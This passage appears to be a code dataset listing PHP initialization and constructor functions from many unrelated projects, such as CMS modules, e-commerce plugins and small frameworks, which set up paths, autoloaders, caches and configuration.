\n\t{\n\n\t\t$this->loadModuleXml();\n\t\t$this->getCodePool();\n\t\t$this->getMainExtensionDir();\n\t\t$this->getExtensionConfigXml();\n\t\t$this->getExtensionSystemXml();\n\n\t}", "public function init() {\n\t\t\theader('Location: ../install/index.php');\n\t\t}", "function setPath() {\n\n // Wp installation path\n $wp_install_path = str_replace( 'http://' . $_SERVER['HTTP_HOST'], '', site_url());\n\n // Set the instance starting path\n $this->path = $wp_install_path . App::getOption('path');\n\n // Grab the server-passed \"REQUEST_URI\"\n $this->current_uri = $this->request->server()->get('REQUEST_URI');\n\n // Remove the starting URI from the equation\n // ex. /wp/cocoon/mypage -> /mypage\n $this->request->server()->set(\n 'REQUEST_URI', substr($this->current_uri, strlen($this->path))\n );\n\n }", "private function __construct()\n {\n \t$this->storage_dir = $_SERVER[\"DOCUMENT_ROOT\"] . '/storage';\n }", "public function __construct()\n {\n if (!class_exists('XMLSecurityDSig')) {\n include __DIR__ . self::XMLSECLIBS_PATH;\n }\n }", "public static function initModuleAccess()\n\t{\n\t\tself::$modulePath =\t_PS_MODULE_DIR_. 'mondialrelay/';\n\t\n\t\t$protocol = (Configuration::get('PS_SSL_ENABLED') || (!empty($_SERVER['HTTPS']) \n\t\t\t&& strtolower($_SERVER['HTTPS']) != 'off')) ? 'https://' : 'http://';\n\t\t\n\t\t$endURL = __PS_BASE_URI__.'/modules/mondialrelay/';\n\t\n\t\tif (method_exists('Tools', 'getShopDomainSsl'))\n\t\t\tself::$moduleURL = $protocol.Tools::getShopDomainSsl().$endURL;\n\t\telse\n\t\t\tself::$moduleURL = $protocol.$_SERVER['HTTP_HOST'].$endURL;\t\t\t\n\t}", "public function start()\n\t{\n\t\t$this->define_home_dir_constant();\n\t\t$this->register_root_namespace();\n\t\tspl_autoload_register(array($this, 'autoload'));\n\t}", "public function bootstrapSystem() {}", "public function bootstrapSystem() {}", "public function __construct() {\n\t\tparent::__construct();\n $this->setTemplateDir('smarty-dir/templates');\n $this->setCompileDir('smarty-dir/templates_c');\n $this->setCacheDir('smarty-dir/cache');\n $this->setConfigDir('smarty-dir/configs');\n\t}", "public function init() {\n\t\trequire(__DIR__ . '/../setup-scripts/createExplicitUsers.php');\n\t\trequire(__DIR__ . '/../setup-scripts/createExplicitGroups.php');\n\t\trequire(__DIR__ . '/../setup-scripts/createExplicitGroupsDifferentOU.php');\n\t\tparent::init();\n\t}", "public function __construct() {\n $this->dbDir = XRef::getConfigValue(\"xref.data-dir\");\n XRef::createDirIfNotExist($this->dbDir);\n }", "function __construct() {\n $this->_determine_custom_dir( dirname( __FILE__ ) );\n }", "public function __construct()\n {\n $this->postInstallHandler = new PostInstallDirectiveHandler();\n $this->localServer = null;\n }", "public function init()\r\n {\r\n $this->admin = Shopware()->Modules()->Admin();\r\n $this->basket = Shopware()->Modules()->Basket();\r\n $this->session = Shopware()->Session();\r\n $this->db = Shopware()->Db();\r\n $this->moduleManager = Shopware()->Modules();\r\n $this->eventManager = Shopware()->Events();\r\n }", "private function __construct()\n {\n Util::deleteCache(NEXTERNAL_ORDER_CACHE);\n Util::deleteCache(NEXTERNAL_CUSTOMER_CACHE);\n\n $this->_docroot = preg_replace(\"@/$@\", \"\", dirname(dirname(__FILE__))) . \"/\";\n $config = Util::config();\n $this->_config = $config['Nexternal'];\n $this->log = Log::getInstance();\n $this->log->directory = $config['Log']['directory'];\n }", "protected function setupInstallPaths()\n\t{\n\t\t// Get the target application\n\t\t$cname = (string) $this->getManifest()->attributes()->client;\n\n\t\tif ($cname)\n\t\t{\n\t\t\t// Attempt to map the client to a base path\n\t\t\t$client = ApplicationHelper::getClientInfo($cname, true);\n\n\t\t\tif ($client === false)\n\t\t\t{\n\t\t\t\tthrow new \\RuntimeException(\n\t\t\t\t\t\\JText::sprintf(\n\t\t\t\t\t\t'JLIB_INSTALLER_ABORT_MOD_UNKNOWN_CLIENT',\n\t\t\t\t\t\t\\JText::_('JLIB_INSTALLER_' . $this->route),\n\t\t\t\t\t\t$client->name\n\t\t\t\t\t)\n\t\t\t\t);\n\t\t\t}\n\n\t\t\t$basePath = $client->path;\n\t\t\t$this->clientId = $client->id;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// No client attribute was found so we assume the site as the client\n\t\t\t$basePath = JPATH_SITE;\n\t\t\t$this->clientId = 0;\n\t\t}\n\n\t\t// Set the installation path\n\t\tif (empty($this->element))\n\t\t{\n\t\t\tthrow new \\RuntimeException(\n\t\t\t\t\\JText::sprintf(\n\t\t\t\t\t'JLIB_INSTALLER_ABORT_MOD_INSTALL_NOFILE',\n\t\t\t\t\t\\JText::_('JLIB_INSTALLER_' . $this->route)\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\n\t\t$this->parent->setPath('extension_root', $basePath . '/modules/' . $this->element);\n\t}", "public function initialize() {\n $cmd = $this->getSequentSysCommand();\n $success = $this->sendCommand($cmd);\n $this->setText('init ok');\n }", "protected function _initFilesystem() {\n $this->_createWriteableDir($this->getTargetDir());\n $this->_createWriteableDir($this->getQuoteTargetDir());\n\n // Directory listing and hotlink secure\n $io = new Varien_Io_File();\n $io->cd($this->getTargetDir());\n if (!$io->fileExists($this->getTargetDir() . DS . '.htaccess')) {\n $io->streamOpen($this->getTargetDir() . DS . '.htaccess');\n $io->streamLock(true);\n $io->streamWrite(\"Order deny,allow\\nAllow from all\");\n $io->streamUnlock();\n $io->streamClose();\n }\n }", "protected function setUpInstancePath() {\n\t\t$this->instancePath = BEHAT_ROOT;\n\t}", "function __construct()\n\t{\n\t\t// Store module path\n\t\t$this->module_path = dirname(__FILE__) .'/';\n\t\t$this->view_path = $this->module_path . 'views/';\n\t}", "public function __construct()\n\t{\n\t\tCowl::timer('cowl init');\n\t\t\n\t\t@session_start(); // I know that the @-notation is frowned upon, but adding it to session_start saves us unnecessary warnings\n\t\t\n\t\tCache::setDir(COWL_CACHE_DIR);\n\t\tCurrent::initialize(COWL_DIR);\n\n\t\tif ( COWL_CLI )\n\t\t\t$this->parseCLIPath();\n\t\telse\n\t\t\t$this->parseRequestPath();\n\t\t\n\t\tCowl::timer('cowl set defaults');\n\t\t\n\t\t// Get and set all directories for various things.\n\t\tlist(\n\t\t\t$commands_dir, $model_dir, $validators_dir,\n\t\t\t$library_dir, $view_dir, $helpers_dir,\n\t\t\t$helpers_app_dir, $drivers_dir, $app_dir,\n\t\t\t$view_layout_dir, $validator_error_messages, $lang)\n\t\t= \n\t\t\tCurrent::$config->gets('paths.commands', 'paths.model',\n\t\t\t\t'paths.validators', 'paths.library', 'paths.view',\n\t\t\t\t'paths.helpers', 'paths.helpers_app', 'paths.drivers', 'paths.app',\n\t\t\t\t'paths.layouts', 'paths.validator_messages', 'lang');\n\t\t\n\t\tController::setDir($commands_dir);\t\n\t\tDataMapper::setMappersDir($model_dir);\n\t\tDataMapper::setObjectsDir($model_dir);\n\t\tValidator::setPath($validators_dir);\n\t\tValidator::loadStrings($validator_error_messages, $lang);\n\t\tTemplater::setBaseDir($view_dir);\n\t\tTemplater::setLayoutDir($view_layout_dir);\n\t\tLibrary::setPath($library_dir);\t\n\t\tHelpers::setPath($helpers_dir);\n\t\tHelpers::setAppPath($helpers_app_dir);\n\t\tDatabase::setPath($drivers_dir);\n\t\tStaticServer::setDir($app_dir);\n\t\t\n\t\tCowl::timerEnd('cowl set defaults');\n\t\t\n\t\tCowl::timer('cowl plugins load');\n\t\tCurrent::$plugins = new Plugins();\n\t\tCowl::timerEnd('cowl plugins load');\n\t\t\n\t\t// Load default helper\n\t\tHelpers::load('standard', 'form');\n\t\t\n\t\tCowl::timerEnd('cowl init');\n\t}", "public static function install(){\n\t}", "public function __construct()\n {\n // Store module path\n $this->module_path = dirname(__FILE__) .'/';\n $this->view_path = $this->module_path . 'views/';\n }", "public final function prep(){\n\n //disable apache from append session ids to requests\n ini_set('session.use_trans_sid',0);\n //only allow sessions to be used with cookies\n ini_set('session.use_only_cookies',1);\n\n //base directory of application\n //$this->path = dirname($_SERVER['DOCUMENT_ROOT']);\n $this->path = dirname(dirname(dirname(dirname(dirname(__DIR__)))));\n \n //load the appropriate application production configuration \n //and override with any dev config.\n if(is_file($this->path.'/.config.php')){\n $this->config = require($this->path.'/.config.php');\n if($this->config['APP_MODE']!='PROD' && is_file($this->path.'/.dev.config.php')){\n $this->config = array_merge($this->config,require($this->path.'/.dev.config.php'));\n }//if\n }//if\n \n //if the COMPOSER PATH isn't set then resort to the default installer path \"vendor/\"\n if(!isset($this->config['COMPOSER_PATH'])){\n $this->config['COMPOSER_PATH'] = 'vendor';\n }//if\n\n }", "public function __construct() {\n\t\t$staticConfArr = unserialize ($GLOBALS['TYPO3_CONF_VARS']['EXT']['extConf']['ter']);\n\t\tif (is_array ($staticConfArr)) {\t\t\t\n\t\t\t$this->repositoryDir = $staticConfArr['repositoryDir'];\n\t\t\tif (substr ($this->repositoryDir, -1, 1) != '/') $this->repositoryDir .= '/';\n\t\t}\n\t}", "public function __construct()\n {\n $docRootParent = dirname($_SERVER['DOCUMENT_ROOT']);\n $this->disableStaticPreview();\n $this->setContentDirectoryPath($docRootParent . '/mathb-content/');\n $this->setCacheDirectoryPath('/tmp/mathb-cache/');\n $this->ipBlacklist = array();\n }", "public function init() {\n\t\t$this->getFrontController()->addModuleDirectory(APPLICATION_PATH . '/modules');\n\n\t\t// initialize navigation\n\t\t$this->_initNavigation();\n\t}", "private function init() {\n\n\t\tif ( ! $this->should_load() ) {\n\t\t\treturn;\n\t\t}\n\t\t$this->setup_admin();\n\t\t$this->setup_api();\n\t}", "public function __construct() {\n\t\t$this->autoSetConfigurationFolder();\n\t}", "protected function _construct()\n {\n $this->_init('varnish/cms_page_store');\n }", "public function bootstrap()\n\t{\n\t\tif ($this->bootstrapped)\n\t\t{\n\t\t\treturn;\n\t\t}\n\n\t\t$this->bootstrapped = TRUE;\n\n\t\t// Define the request type\n\t\t// Note: admin.php defines REQ=CP\n\t\tif ( ! defined('REQ'))\n\t\t{\n\t\t\tdefine('REQ', ((ee()->input->get_post('ACT') !== FALSE) ? 'ACTION' : 'PAGE'));\n\t\t}\n\n\t\t// Set a liberal script execution time limit, making it shorter for front-end requests than CI's default\n\t\tif (function_exists(\"set_time_limit\") == TRUE)\n\t\t{\n\t\t\t@set_time_limit((REQ == 'CP') ? 300 : 90);\n\t\t}\n\n\t\t// If someone's trying to access the CP but EE_APPPATH is defined, it likely\n\t\t// means the installer is still active; redirect to clean path\n\t\tif (ee()->config->item('subclass_prefix') != 'EE_' && ee()->uri->segment(1) == 'cp')\n\t\t{\n\t\t\theader('Location: '.SELF);\n\t\t\texit;\n\t\t}\n\n\t\t// some path constants to simplify things\n\t\tdefine('PATH_ADDONS', SYSPATH . 'ee/EllisLab/Addons/');\n\t\tdefine('PATH_MOD', SYSPATH . 'ee/EllisLab/Addons/');\n\t\tdefine('PATH_PI', SYSPATH . 'ee/EllisLab/Addons/');\n\t\tdefine('PATH_EXT', SYSPATH . 'ee/EllisLab/Addons/');\n\t\tdefine('PATH_FT', SYSPATH . 'ee/EllisLab/Addons/');\n\t\tdefine('PATH_RTE', APPPATH . 'rte_tools/');\n\t\tdefine('PATH_THIRD', SYSPATH . 'user/addons/');\n\t\tdefine('PATH_CACHE', SYSPATH . 'user/cache/');\n\t\tdefine('PATH_TMPL', SYSPATH . 'user/templates/');\n\t\tdefine('PATH_JS', 'compressed');\n\t\tdefine('PATH_DICT', SYSPATH . 'user/config/');\n\n\t\t// retain in case third-party add-ons expect IS_CORE to be defined\n\t\tdefine('IS_CORE',\t\tFALSE);\n\n\t\t// application constants\n\t\tdefine('APP_NAME',\t\t'ExpressionEngine');\n\t\tdefine('APP_BUILD',\t\t'20200422');\n\t\tdefine('APP_VER',\t\t'5.3.2');\n\t\tdefine('APP_VER_ID',\t'');\n\t\tdefine('SLASH',\t\t\t'&#47;');\n\t\tdefine('LD',\t\t\t'{');\n\t\tdefine('RD',\t\t\t'}');\n\t\tdefine('AMP',\t\t\t'&amp;');\n\t\tdefine('NBS', \t\t\t'&nbsp;');\n\t\tdefine('BR', \t\t\t'<br />');\n\t\tdefine('NL',\t\t\t\"\\n\");\n\t\tdefine('AJAX_REQUEST',\tee()->input->is_ajax_request());\n\t\tdefine('USERNAME_MAX_LENGTH', 75);\n\t\tdefine('PASSWORD_MAX_LENGTH', 72);\n\t\tdefine('DOC_URL', 'https://docs.expressionengine.com/v5/');\n\t\tdefine('URL_TITLE_MAX_LENGTH', 200);\n\n\t\tee()->load->helper('language');\n\t\tee()->load->helper('string');\n\n\t\t// Load the default caching driver\n\t\tee()->load->driver('cache');\n\n\t\tee()->load->database();\n\t\tee()->db->swap_pre = 'exp_';\n\t\tee()->db->db_debug = FALSE;\n\n\t\t// boot the addons\n\t\tee('App')->setupAddons(SYSPATH . 'ee/EllisLab/Addons/');\n\t\tee('App')->setupAddons(PATH_THIRD);\n\n\t\t// Set ->api on the legacy facade to the model factory\n\t\tee()->set('api', ee()->di->make('Model'));\n\n\t\t// If debug is on we enable the profiler and DB debug\n\t\tif (DEBUG == 1 OR ee()->config->item('debug') == 2)\n\t\t{\n\t\t\t$this->_enable_debugging();\n\t\t}\n\n\t\t// Assign Site prefs now that the DB is fully loaded\n\t\tif (ee()->config->item('site_name') != '')\n\t\t{\n\t\t\tee()->config->set_item('site_name', preg_replace('/[^a-z0-9\\-\\_]/i', '', ee()->config->item('site_name')));\n\t\t}\n\n\t\tee()->config->site_prefs(ee()->config->item('site_name'));\n\n\t\t// earliest point we can apply this, makes sure that PHPSESSID cookies\n\t\t// don't leak to JS by setting the httpOnly flag\n\t\t$secure = bool_config_item('cookie_secure');\n\t\t$httpOnly = (ee()->config->item('cookie_httponly')) ? bool_config_item('cookie_httponly') : TRUE;\n\t\tsession_set_cookie_params(0, ee()->config->item('cookie_path'), ee()->config->item('cookie_domain'), $secure, $httpOnly);\n\n\t\t// this look backwards, but QUERY_MARKER is only used where we MUST\n\t\t// have a ?, and do not want to double up\n\t\t// question marks on sites who are forcing query strings\n\t\tdefine('QUERY_MARKER', (ee()->config->item('force_query_string') == 'y') ? '' : '?');\n\n\t\t// Load the settings of the site you're logged into, however use the\n\t\t// cookie settings from the site that corresponds to the URL\n\t\t// e.g. site1.com/system/ viewing site2\n\t\t// $last_site_id = the site that you're viewing\n\t\t// config->item('site_id') = the site who's URL is being used\n\n\t\t$last_site_id = ee()->input->cookie('cp_last_site_id');\n\n\t\tif (REQ == 'CP' && ee()->config->item('multiple_sites_enabled') == 'y')\n\t\t{\n\t\t\t$cookie_prefix = ee()->config->item('cookie_prefix');\n\t\t\t$cookie_path = ee()->config->item('cookie_path');\n\t\t\t$cookie_domain = ee()->config->item('cookie_domain');\n\t\t\t$cookie_httponly = ee()->config->item('cookie_httponly');\n\n\t\t\tif ($cookie_prefix)\n\t\t\t{\n\t\t\t\t$cookie_prefix .= '_';\n\t\t\t}\n\n\t\t\tif (! empty($last_site_id) && is_numeric($last_site_id) && $last_site_id != ee()->config->item('site_id'))\n\t\t\t{\n\t\t\t\tee()->config->site_prefs('', $last_site_id);\n\t\t\t}\n\n\t\t\tee()->config->cp_cookie_prefix = $cookie_prefix;\n\t\t\tee()->config->cp_cookie_path = $cookie_path;\n\t\t\tee()->config->cp_cookie_domain = $cookie_domain;\n\t\t\tee()->config->cp_cookie_httponly = $cookie_httponly;\n\t\t}\n\n\t\t// This allows CI compatibility\n\t\tif (ee()->config->item('base_url') == FALSE)\n\t\t{\n\t\t\tee()->config->set_item('base_url', ee()->config->item('site_url'));\n\t\t}\n\n\t\tif (ee()->config->item('index_page') == FALSE)\n\t\t{\n\t\t\tee()->config->set_item('index_page', ee()->config->item('site_index'));\n\t\t}\n\n\t\t// Backwards compatibility for the removed secure forms setting.\n\t\t// Developers are still checking against this key, so we'll wait some\n\t\t// time before removing it.\n\t\t$secure_forms = (bool_config_item('disable_csrf_protection')) ? 'n' : 'y';\n\t\tee()->config->set_item('secure_forms', $secure_forms);\n\n\t\t// Set the path to the \"themes\" folder\n\t\tif (ee()->config->item('theme_folder_path') !== FALSE &&\n\t\t\tee()->config->item('theme_folder_path') != '')\n\t\t{\n\t\t\t$theme_path = preg_replace(\"#/+#\", \"/\", ee()->config->item('theme_folder_path').'/');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$theme_path = substr(APPPATH, 0, - strlen(SYSDIR.'/expressionengine/')).'themes/';\n\t\t\t$theme_path = preg_replace(\"#/+#\", \"/\", $theme_path);\n\t\t}\n\n\t\t// Maybe the site has been moved.\n\t\t// Let's try some basic autodiscovery if config items are set\n\t\t// But the directory does not exist.\n\t\tif ( ! is_dir($theme_path.'/ee'))\n\t\t{\n\t\t\tif (is_dir(FCPATH.'../themes/')) // We're in the system directory\n\t\t\t{\n\t\t\t\t$theme_path = FCPATH.'../themes/';\n\t\t\t}\n\t\t\telseif (is_dir(FCPATH.'themes/')) // Front end.\n\t\t\t{\n\t\t\t\t$theme_path = FCPATH.'themes/';\n\t\t\t}\n\t\t}\n\n\t\t$theme_url = ee()->config->slash_item('theme_folder_url');\n\n\t\tdefine('PATH_THEMES', $theme_path.'ee/');\n\t\tdefine('URL_THEMES', $theme_url.'ee/');\n\t\tdefine('PATH_THEMES_GLOBAL_ASSET', PATH_THEMES.'asset/');\n\t\tdefine('URL_THEMES_GLOBAL_ASSET', URL_THEMES.'asset/');\n\t\tdefine('PATH_CP_THEME', PATH_THEMES.'cp/');\n\n\t\tdefine('PATH_THIRD_THEMES', $theme_path.'user/');\n\t\tdefine('URL_THIRD_THEMES', $theme_url.'user/');\n\n\t\tdefine('PATH_MBR_THEMES', PATH_THEMES.'member/');\n\t\tdefine('PATH_CP_GBL_IMG', URL_THEMES_GLOBAL_ASSET.'img/');\n\n\t\tdefine('PATH_THEME_TEMPLATES', SYSPATH . 'ee/templates/_themes/');\n\t\tdefine('PATH_THIRD_THEME_TEMPLATES', SYSPATH . 'user/templates/_themes/');\n\n\n\t\tunset($theme_path);\n\n\t\t// Load the very, very base classes\n\t\tee()->load->library('functions');\n\t\tee()->load->library('extensions');\n\t\tee()->load->library('api');\n\t}", "public function init() {\n\t\t$this->cacheDir = $this->chatBot->vars[\"cachefolder\"];\n\n\t\t//Making sure that the cache folder exists\n\t\tif (!dir($this->cacheDir)) {\n\t\t\tmkdir($this->cacheDir, 0777);\n\t\t}\n\t}", "public function initialize() {\n $loadjquery = $this->modx->getOption('sekusergalleries.load_jquery');\n $this->setDefaultProperties(array(\n 'tplDirContainer' => 'directory.container',\n 'tplDirGraph' => 'directory.bargraph',\n 'graphcss' => '',\n 'customcss' => '',\n 'loadjquery' => $loadjquery,\n ));\n\n $this->directory_name = $this->modx->user->get('id');\n }", "private function _initialize(){\n\t\t\t//Root Folders\n\t\t\tDefined(\"SRC_PATH\") || Define('SRC_PATH', realpath(dirname(dirname(__file__))) . DS . 'src' . DS);\n\t\t\tDefined(\"DB_PATH\") || Define('DB_PATH', realpath(dirname(__file__)).DS.'database'.DS);\n\t\t\t//$dir = array_filter(glob('*'),'is_dir');\n\t\t\t//print_r($dir);\n\t\t\tspl_autoload_extensions('.php');\n\t\t\tspl_autoload_register(function ($class) {\n\t\t\t\t$parts = explode('\\\\', $class);\n\t\t\t\t$class = end($parts); \n\n\t\t\t\tif (file_exists(PROJECT_PATH.$this->_implementation.DS.$class.'.php'))\n\t\t\t\t\t\trequire_once PROJECT_PATH.$this->_implementation.DS.$class.'.php';\n\t\t\t\t\n //Impliments \n\t\t\t\t$folders = scandir(PROJECT_PATH . $this->_implementation);\n\t\t\t\t$remove = array('.', '..');\n\t\t\t\t$folders = array_diff($folders, $remove);\n\t\t\t\tif (!empty($folders)) {\n\t\t\t\t\t$folders = array_clean($folders);\n\t\t\t\t\tforeach ($folders as $folder) {\n\t\t\t\t\t\tif (file_exists(PROJECT_PATH.$this->_implementation.DS.$folder.DS.$class.'.php'))\n\t\t\t\t\t\t\trequire_once PROJECT_PATH.$this->_implementation.DS.$folder.DS.$class.'.php';\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\t//Initalize Plugins\n\t\t\t\t$folders = scandir(PROJECT_PATH . $this->_pluginPath);\n\t\t\t\t$remove = array('.', '..');\n\t\t\t\t$folders = array_diff($folders, $remove);\n\t\t\t\tif (!empty($folders)) {\n\t\t\t\t\t$folders = array_clean($folders);\n\t\t\t\t\tforeach ($folders as $folder) {\n\t\t\t\t\t\tif (file_exists(PROJECT_PATH.$this->_pluginPath.DS.$folder.DS.$class.'.php'))\n\t\t\t\t\t\t\trequire_once PROJECT_PATH.$this->_pluginPath.DS.$folder.DS.$class.'.php';\n\t\t\t\t\t}\n\t\t\t\t} \n\t\t\t\t//System vendor \n\t\t\t\t$folders = scandir(APP_PATH . $this->_systemVendor);\n\t\t\t\t$remove = array('.', '..');\n\t\t\t\t$folders = array_diff($folders, $remove);\n\t\t\t\tif (!empty($folders)) {\n\t\t\t\t\t$folders = array_clean($folders);\n\t\t\t\t\tforeach ($folders as $folder) {\n\t\t\t\t\t\tif (file_exists(APP_PATH.$this->_systemVendor.DS.$folder.DS.$class.'.php'))\n\t\t\t\t\t\t\trequire_once APP_PATH.$this->_systemVendor.DS.$folder.DS.$class.'.php';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t//User Vendor\n\t\t\t\t$folders = scandir(PROJECT_PATH . $this->_userVendor);\n\t\t\t\t$remove = array('.', '..');\n\t\t\t\t$folders = array_diff($folders, $remove);\n\t\t\t\tif (!empty($folders)) {\n\t\t\t\t\t$folders = array_clean($folders);\n\t\t\t\t\tforeach ($folders as $folder) {\n\t\t\t\t\t\tif (file_exists(PROJECT_PATH.$this->_userVendor.DS.$folder.DS.$class.'.php'))\n\t\t\t\t\t\t\trequire_once PROJECT_PATH.$this->_userVendor.DS.$folder.DS.$class.'.php';\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t});\n\t\t\tif (!empty($_SERVER['QUERY_STRING']))\n\t\t\t\t$this->_route = preg_replace('/^url=index.php&url=(.*)/', '$1', $_SERVER['QUERY_STRING']);\n\t\t\t\t\t\n\t\t\tif(utils\\Config::get('role/module_active') == 'YES'){\n\t\t\t\t//Create All Roles Tables \n\t\t\t\t$userTable = utils\\Config::get('webadmin/userTable');\n\t\t\t\t$userKey = utils\\Config::get('webadmin/userKey');\n\t\t\t\tif(isset($userTable) && isset($userKey)){\n\t\t\t\t\tif(\\orm\\Query::is_table($userTable)){\n\t\t\t\t\t\t$roleTables = new roles\\tables\\RoleTables($userTable,$userKey);\n\t\t\t\t\t\t$roleTables->addRoleTables();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n }", "public function __construct() {\n // Use FS over PHP for this as it may need to search deep.\n $htaccess = array();\n exec('locate .htaccess', $htaccess);\n\n $htaccess = array_filter($htaccess, function($item) {\n return strpos($item, DRUPAL_ROOT) !== FALSE;\n });\n\n $this->setData($htaccess);\n }", "public function init()\n {\n $this->system = Application_Model_System_System::getInstance();\n parent::init();\n }", "function set_root ($root)\n {\n $this->mPath = realpath($root) . '/';\n }", "public function __construct()\n {\n $this->module_roots = Main::$module_roots;\n $this->load_supported_features();\n }", "public function install(){\r\n\t\t\r\n\t}", "public function __construct() {\n // Autoload Dependencies & Helpers\n spl_autoload_register([$this, 'loadBones']);\n // Load in Core Components\n foreach (glob(SKELETON_PATH . 'core/*.php') as $file) {\n list($filePath, $className) = [$file, 'Skeleton_' . basename($file, EXT)];\n if(file_exists($filePath)) {\n include $filePath;\n $this->{strtolower(basename($filePath, EXT))} = new $className($this);\n $this->coreComponents[] = strtolower(basename($filePath, EXT));\n }\n }\n // Core Components Loaded!\n foreach($this->coreComponents as $component) {\n if(method_exists($this->{$component}, '_onLoadFinish')) {\n $this->{$component}->_onLoadFinish();\n }\n }\n // Set environment\n $this->environment = ENVIRONMENT;\n if(!$this->environment) {\n exit(JSON::out('error', 'No environment set!'));\n }\n // Preload stuff is over\n $this->router->setPreloadFlag(false);\n // Run App\n try {\n $skeleton = $this;\n include $this->router->go();\n // the end\n die();\n } catch(NoRouteFoundException $e) {\n JSON::out(array(\n 'status' => 'error', \n 'message' => $e->getMessage()\n ));\n } catch(Exception $e) {\n JSON::out(array(\n 'status' => 'error', \n 'message' => $e->getMessage()\n ));\n }\n }", "public function __construct()\n {\n $this->path = str_finish( Config::get( 'app.gsd.folder' ), '/' );\n if ( ! is_dir( $this->path ) )\n {\n throw new \\RuntimeException( \"Directory doesn't exist: $this->path\" );\n }\n if ( ! is_dir( $this->path . 'archived' ) )\n {\n throw new \\RuntimeException( \"Directory doesn't exist: $this->path\" . 'archived' );\n }\n $this->extension = Config::get( 'app.gsd.extension' );\n if ( ! starts_with( $this->extension, '.' ) )\n {\n $this->extension = '.' . $this->extension;\n }\n }", "protected function setUp() {\n vfsStreamWrapper::register();\n vfsStreamWrapper::setRoot(new vfsStreamDirectory(\"Resources\"));\n vfsStream::copyFromFileSystem(dirname(__DIR__) . \"/Resources\", vfsStreamWrapper::getRoot());\n }", "public static function setUpBeforeClass() { \n $docroot = dirname(dirname(__FILE__));\n while (!file_exists($docroot.'/config.core.php')) {\n if ($docroot == '/') {\n die('Failed to locate config.core.php');\n }\n $docroot = dirname($docroot);\n }\n if (!file_exists($docroot.'/config.core.php')) {\n die('Failed to locate config.core.php');\n }\n \n include_once $docroot . '/config.core.php';\n \n if (!defined('MODX_API_MODE')) {\n define('MODX_API_MODE', false);\n }\n require_once dirname(dirname(__FILE__)).'/vendor/autoload.php';\n include_once MODX_CORE_PATH . 'model/modx/modx.class.php';\n\n \n self::$modx = new modX();\n self::$modx->initialize('mgr'); \n \n }", "public function __construct()\n {\n $this->tempDirectories = array(\n 'main' => PATH_site . 'typo3temp/razor/',\n 'cache' => PATH_site . 'typo3temp/razor/Temp/',\n );\n }", "private function setup()\n {\n $home = getenv('PHLEXGET_HOME');\n $cacheDir = getenv('PHLEXGET_CACHE_DIR');\n if (!$home) {\n if (defined('PHP_WINDOWS_VERSION_MAJOR')) {\n $home = strtr(getenv('APPDATA'), '\\\\', '/') . '/Phlexget';\n } else {\n $home = rtrim(getenv('HOME'), '/') . '/.phlexget';\n }\n }\n if (!$cacheDir) {\n if (defined('PHP_WINDOWS_VERSION_MAJOR')) {\n if ($cacheDir = getenv('LOCALAPPDATA')) {\n $cacheDir .= '/Phlexget';\n } else {\n $cacheDir = getenv('APPDATA') . '/Phlexget/cache';\n }\n $cacheDir = strtr($cacheDir, '\\\\', '/');\n } else {\n $cacheDir = $home.'/cache';\n }\n }\n\n // Protect directory against web access. Since HOME could be\n // the www-data's user home and be web-accessible it is a\n // potential security risk\n foreach (array($home, $cacheDir) as $dir) {\n if (!file_exists($dir . '/.htaccess')) {\n if (!is_dir($dir)) {\n @mkdir($dir, 0777, true);\n }\n @file_put_contents($dir . '/.htaccess', 'Deny from all');\n }\n }\n\n $this->homeDir = $home;\n $this->cacheDir = $cacheDir;\n }", "protected function setUpSite() {\n // Recreate the container so that we can simulate the submission of the\n // SyncConfigureForm after the full bootstrap has occurred. Without out this\n // drupal_realpath() does not work so uploading files through\n // WebTestBase::postForm() is impossible.\n $request = Request::createFromGlobals();\n $class_loader = require $this->container->get('app.root') . '/vendor/autoload.php';\n Settings::initialize($this->container->get('app.root'), DrupalKernel::findSitePath($request), $class_loader);\n foreach ($GLOBALS['config_directories'] as $type => $path) {\n $this->configDirectories[$type] = $path;\n }\n $this->kernel = DrupalKernel::createFromRequest($request, $class_loader, 'prod', FALSE);\n $this->kernel->prepareLegacyRequest($request);\n $this->container = $this->kernel->getContainer();\n\n $this->setUpSyncForm();\n $this->setUpInstallConfigureForm();\n // If we've got to this point the site is installed using the regular\n // installation workflow.\n $this->isInstalled = TRUE;\n }", "public function serversInit()\n\t{\n\t\t$api_root=$this->getPath();\n\t\t$p=opendir($api_root);\n\t\twhile(false!==($d=readdir($p)))\n\t\t{\n\t\t\tif($d!='.' && $d!='..' && is_dir($api_root.'/'.$d))\n\t\t\t{\n\t\t\t\tif(file_exists($api_root.'/'.$d.'/init.php') && file_exists($api_root.'/'.$d.'/config.xml'))\n\t\t\t\t{\n\t\t\t\t\t$settings=@simplexml_load_file($api_root.'/'.$d.'/config.xml');\n\t\t\t\t\tif(!$settings){\n\t\t\t\t\t\t$this->setError('Not inited: '.$d.'; wrong config file.');\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}else{\n\t\t\t\t\t\t#die_r($settings->api->name);\n\t\t\t\t\t\t$this->registerEngine((String)$settings->api->name,$settings->api->protocols);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "public function __construct()\n {\n if ($module = Registry::get('request')->getModules()) {\n $path = Micro::getInstance()->config['AppDir'] . $module . '/' . ucfirst(basename($module)) . 'Module.php';\n\n if (file_exists($path)) {\n $path = substr(basename($path), 0, -4);\n self::$module = new $path();\n }\n }\n }", "public function init() {\n\t\t// you may place code here to customize the module or the application\n\n\t\t// import the module-level models and components\n\t\t$this->setImport(array(\n\t\t\t'music.models.*',\n\t\t\t'music.components.*',\n\t\t));\n\t}", "public function system_init() {\n }", "public function _construct()\r\n {\r\n $this->moduleHelper->setModuleName(self::MODULE_NAME_CONFIG_PATH);\r\n }", "public function initialize()\n {\n if (file_exists($this->path.'init.php')) {\n require_once($this->path.'init.php');\n }\n }", "public function setup() {\n // If .htaccess file or local settings file does not exit lets create them.\n if ((file_exists($this->getSiteRoot() . '.htaccess.default') && !file_exists($this->getSiteRoot() . '.htaccess')) || !file_exists($this->getSiteRoot() . 'sites/default/settings.local.php')) {\n $this->say(\"Missing .htaccess or settings.local.php\");\n $name = $this->confirm(\"Missing .htaccess or settings.local.php Copy the default?\");\n if 